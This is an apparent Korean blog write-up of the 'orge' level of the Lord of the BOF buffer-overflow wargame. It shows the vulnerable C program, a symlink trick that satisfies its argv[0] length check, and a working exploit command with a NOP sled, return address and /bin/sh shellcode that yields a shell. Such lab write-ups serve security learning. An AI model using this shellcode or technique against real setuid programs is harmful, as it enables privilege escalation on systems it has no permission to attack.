반응형

[darkelf@localhost darkelf]$ cat orge.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orge

        - check argv[0]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// here is changed!

if(strlen(argv[0]) != 77){

                printf("argv[0] error\n");

                exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}

굵은 부분으로 표시해논 것처럼 친절하게 이부분이 바꼇다고 알려줍니다

파일을 실행할때 파일이름을 넣어주는 부분인데, 77자가 딱 맞지 않으면 페이로드는 씹히게 됩니다 

이를 우회하기 위해서 심볼릭 링크를 걸어주었고, 나머지 부분은 이전과 같습니다

심볼릭 링크를 건방법은 다음과 같습니다

[darkelf@localhost darkelf]$ ln -s `perl -e 'print "B"x75'` 

[darkelf@localhost darkelf]$ ls -al

total 52

drwx------    2 darkelf  darkelf      4096 Aug 12 10:46 .

drwxr-xr-x   25 root     root         4096 Mar 30  2010 ..

-rw-------    1 darkelf  darkelf        18 Aug 11 02:41 .bash_history

-rw-r--r--    1 darkelf  darkelf        24 Feb 26  2010 .bash_logout

-rw-r--r--    1 darkelf  darkelf       230 Feb 26  2010 .bash_profile

-rw-r--r--    1 darkelf  darkelf       124 Feb 26  2010 .bashrc

-rwxr-xr-x    1 darkelf  darkelf       333 Feb 26  2010 .emacs

-rw-r--r--    1 darkelf  darkelf      3394 Feb 26  2010 .screenrc

lrwxrwxrwx    1 darkelf  darkelf         4 Aug 12 09:50 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB -> orge

길이제한이 77 자로 되어있는데 75자로 심볼릭 링크를 건이유는 해당 파일을 실행하기 위해서는 

'./ ' 두문자를 포함해야 하기 때문입니다 

따라서 페이로드를 구성해보면 

./BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB-> argv[0]

NOP(44) | RETN    -> argv[1]

NOP(200) | 쉘코드  -> argv [2] 

RETN 주소를 찾는방법은 이전과 같으니 생략하고 

[darkelf@localhost darkelf]$ ./BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `perl -e 'print "\x90"x44,"\xbc\xfa\xff\xbf"'` `perl -e 'print "\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

????????????????????????????????????????????술


bash$ my-pass

euid = 507


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)Level9.troll  (0) 2014.08.14
(LOB)Level8.orge  (0) 2014.08.14
(LOB)Level6.wolfman  (0) 2014.08.11
(LOB)Level5.orc  (0) 2014.08.11
(LOB)Level4.goblin  (0) 2014.08.11
,